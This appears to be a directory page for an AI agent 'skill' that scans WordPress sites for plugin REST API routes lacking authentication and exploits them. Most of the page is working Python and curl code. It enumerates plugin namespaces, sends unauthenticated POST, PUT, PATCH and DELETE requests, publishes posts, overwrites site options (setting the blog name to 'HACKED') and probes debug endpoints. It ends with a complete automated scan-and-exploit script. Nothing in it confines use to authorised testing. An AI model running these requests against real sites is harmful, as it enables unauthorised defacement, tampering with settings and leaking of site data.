SuperAPI AI Directory

wp-plugin-rest-auth-bypass

General & other

View repository

Updated 10-16 03:03

About this skill

WordPress Plugin REST API — Auth Bypass

WordPress plugins register custom REST API routes at /wp-json/{namespace}/. Many plugin developers forget to add permission callbacks, leaving state-changing endpoints (POST/PUT/PATCH/DELETE) accessible to unauthenticated users. This skill enumerates all plugin routes, identifies write endpoints missing auth, and exploits them for content publishing, settings modification, and data leakage.

When to Use

  • Target is a WordPress site with exposed users via /wp-json/wp/v2/users.
  • You've found interesting plugin namespaces from /wp-json/ but need to map their routes.
  • Standard WordPress endpoints return 401 — but third-party plugin endpoints might not.
  • You want to find hidden admin URLs, debug endpoints, or unauthenticated write operations.

Prerequisites

  • python3 with requests library.
  • Target WordPress site URL.

Procedure

Phase 1 — Enumerate All Plugin Namespaces

curl --max-time 30 --connect-timeout 10 -sk "https://target.com/wp-json/" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for ns in data.get('namespaces', []):
    print(ns)
"

Filter out standard WordPress namespaces to find third-party plugins:

Standard: oembed/1.0, wp/v2, wp-site-health/v1, wp-block-editor/v1
Plugins:  gpl/v1, sliderrevolution, yoast/v1, elementor/v1, wc/v3, gf/v2, ...

Phase 2 — Map All Routes for Each Plugin

import requests, json

BASE = "https://target.com"

# Get full route map
r = requests.get(f"{BASE}/wp-json/", timeout=10)
data = r.json()

for plugin_ns in ["gpl/v1", "gsf/v1", "sliderrevolution", "solidwp-mail/v1"]:
    r = requests.get(f"{BASE}/wp-json/{plugin_ns}/", timeout=10)
    if r.status_code == 200:
        routes = r.json().get('routes', {})
        for path, config in routes.items():
            methods = config.get('methods', [])
            args = list(config.get('endpoints', [{}])[0].get('args', {}).keys())
            print(f"  [{','.join(methods)}] {path}")
            if args:
                print(f"    Args: {args}")

Phase 3 — Identify State-Changing Endpoints (POST/PUT/PATCH/DELETE)

# Test each POST/PUT/PATCH endpoint without auth
for path, config in routes.items():
    methods = config.get('methods', [])
    for method in methods:
        if method in ['POST', 'PUT', 'PATCH', 'DELETE']:
            r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
            if r.status_code == 200:
                print(f"  ⚠️ [{method}] {path}: {r.text[:300]}")

Key indicators that an endpoint is exploitable:

Response Meaning
"Post published" / "Success" Unauthenticated write confirmed
"Missing parameter: X" Endpoint works — just needs correct params
"Sorry, you are not allowed" Auth enforced — safe
"rest_forbidden" Auth enforced — safe
"rest_missing_callback_param" Endpoint works — probe with params
"Invalid action" Endpoint accepts input — find valid values

Phase 4 — Exploit Unauthenticated Endpoints

Content Publishing (most common):

# Try creating posts/pages/products
for post_type in ["post", "page", "product"]:
    r = requests.post(
        f"{BASE}/wp-json/{plugin_ns}/publish-builder-pro",
        json={"title": "Test", "post_type": post_type, "content": "test", "status": "publish"},
        timeout=10
    )
    if r.status_code == 200:
        print(f"  Created {post_type}: {r.json().get('post_url')}")

Settings Modification:

# Try modifying WordPress options
r = requests.post(
    f"{BASE}/wp-json/{plugin_ns}/update-options",
    json={"option_name": "blogname", "option_value": "HACKED"},
    timeout=10
)

Hidden Endpoint Discovery:

# Some plugins leak admin URLs or debug info
for endpoint in ["login-url", "status", "config", "debug", "phpinfo"]:
    r = requests.get(f"{BASE}/wp-json/{plugin_ns}/{endpoint}", timeout=10)
    if r.status_code == 200:
        print(f"  {endpoint}: {r.text[:200]}")

Quick Scan Script

import requests, json, sys

BASE = sys.argv[1] if len(sys.argv) > 1 else "https://target.com"

# Step 1: Get all plugin namespaces
r = requests.get(f"{BASE}/wp-json/", timeout=10)
ns_list = r.json().get('namespaces', [])
std = ['oembed', 'wp/v2', 'wp-site-health', 'wp-block-editor', 'wpcom']
plugins = [n for n in ns_list if not any(s in n for s in std)]

print(f"Plugins: {len(plugins)}")

for ns in plugins:
    r = requests.get(f"{BASE}/wp-json/{ns}/", timeout=10)
    if r.status_code != 200:
        continue
    routes = r.json().get('routes', {})
    
    for path, cfg in routes.items():
        methods = cfg.get('methods', [])
        for method in methods:
            if method not in ['POST', 'PUT', 'PATCH', 'DELETE']:
                continue
            
            # Test without auth
            r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
            
            if r.status_code == 200:
                text = r.text.lower()
                if 'forbidden' not in text and 'not allowed' not in text and 'rest_cannot' not in text:
                    print(f"\n⚠️ UNPROTECTED: [{method}] {ns}{path}")
                    print(f"   {r.text[:300]}")
                    
                    # Try common payloads
                    for payload in [
                        {"title": "test", "content": "test", "status": "publish", "post_type": "page"},
                        {"title": "test", "content": "test", "post_type": "post"},
                        {"title": "test", "content": "test", "post_type": "product"},
                    ]:
                        r2 = requests.request(method, f"{BASE}/wp-json{path}", json=payload, timeout=10)
                        if 'published' in r2.text.lower() or 'created' in r2.text.lower() or 'success' in r2.text.lower():
                            print(f"   ✅ {r2.text[:200]}")
                            break

Pitfalls

  • 401 vs 400: A 401 means auth is enforced. A 400 with "Missing parameter" means the endpoint IS accessible but needs correct arguments.
  • JSON parsing: Some plugins return JSON as a string (double-encoded). Check r.text before r.json().
  • Rate limiting: Rapid testing may trigger security plugins. Space requests 1-2s apart.
  • WAF interference: Cloudflare or Wordfence may block POST requests to certain paths. Try with different Content-Type headers.
  • Post type validation: Some endpoints validate post_type against registered types. Try post, page, product, attachment, and custom types.
  • Clean up test data: If you create content during testing, delete it if possible. If the plugin has no unauthenticated DELETE, note that cleanup requires manual intervention.

Verification

  • The endpoint MUST accept state-changing operations (POST/PUT/PATCH/DELETE) without returning 401.
  • Success MUST be confirmed by visiting the created content URL or checking the response.
  • For settings modification, verify the change took effect by reading the setting post-exploitation.
  • Document the exact payload, endpoint path, HTTP method, and response for reproducibility.